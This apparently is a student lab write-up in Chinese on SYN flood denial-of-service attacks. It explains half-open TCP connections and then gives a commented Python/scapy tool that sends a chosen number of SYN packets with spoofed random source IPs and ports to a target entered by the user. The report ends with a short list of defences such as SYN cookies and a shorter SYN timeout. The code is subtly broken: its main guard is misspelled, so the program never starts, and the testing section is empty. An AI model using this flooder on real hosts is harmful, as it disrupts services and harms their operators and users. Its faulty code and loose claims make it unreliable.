1、相关原理、技术分析
常见的SYN泛洪攻击方法有三种:
直接攻击,IP欺骗攻击,分布式攻击(DDoS)。
一个用户向服务器发送了 SYN报文后突然死机或掉线, 则服务器在发出 SYN 和ACK 应答报文后,客户端无法及时答复,导致服务器无法收到客户端的 ACK 报文( 即第三次握手无法完成) ,这时服务器会处于一个半连接握手状态。
我采用直接攻击方法,攻击者只需要向服务端发送大量的TCP请求连接而不进行回应,就会出现大量的这种半握手状态的连接, 在服务器产生很多的请求队列, 最后的结果往往是堆栈溢出崩溃——即使服务器端的系统资源足够充分, 服务器也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求, 此时服务器失去了对客户端的响应, 从而达到SYN泛洪攻击的目的。
2、设计思路、算法描述
我伪造一些IP地址和端口,让它给服务器发送大量的TCP请求,但是我又不进行回应,这样服务器就会产生大量的请求队列,导致服务器堆栈溢出,使服务器崩溃,无法正常接收客户请求。
使用随机生成函数,产生0-255之间的4个数,组装成IP地址如:192.168.43.208;产生1000-65535之间的1一个数,把它当作端口号,再输入要发送的数据包的个数,然后数据包就开始发送了,我们去查看当前网络的吞吐量,来判断是否攻击成功。
3、详细实现(代码必须注释)
from scapy.all import *
import random
#生成随机的IP
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for i in range(4))))
return ip
#生成随机端口
def randomPort():
port = random.randint(1000, 65535)
return port
#SYN泛洪攻击
def synFlood(count, dstIP, dstPort):
total = 0
print("数据包正在发送...")
for i in range(count):
# IP数据报封装
srcIP = randomIP()
dstIP = dstIP
IPlayer = IP(src=srcIP, dst=dstIP)
# TCP层
srcPort = randomPort()
TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")
# 发送包
packet = IPlayer / TCPlayer
send(packet)
total += 1
#所有的数据包发送完毕后显示一下
print("发送数据包的数目: %i" % total)
#显示的信息
def info():
print("欢迎使用SYN泛洪攻击工具")
print("#"*15)
# 输入目标IP和端口
dstIP = input("请输入目的IP: ")
dstPort = int(input("请输入目的端口: "))
return dstIP, dstPort
if __name__ == '_main_':
dstIP, dstPort = info()
cout = int(input("请输入需要发送的数据包个数:"))
synFlood(cout, dstIP, dstPort)
4、程序测试、结果分析
5、总结
SYN泛洪攻击的原理很简单,实现起来也容易,如何防范呢?
1.降低SYN timeout时间,使得主机尽快释放半连接的占用。
2.采用SYN cookie设置,如果短时间内连续收到某个IP的重复SYN请求,则认为受到了该IP的攻击,丢弃来自该IP的后续请求报文。
3.可以使用一些外部网络安全设施如防火墙等。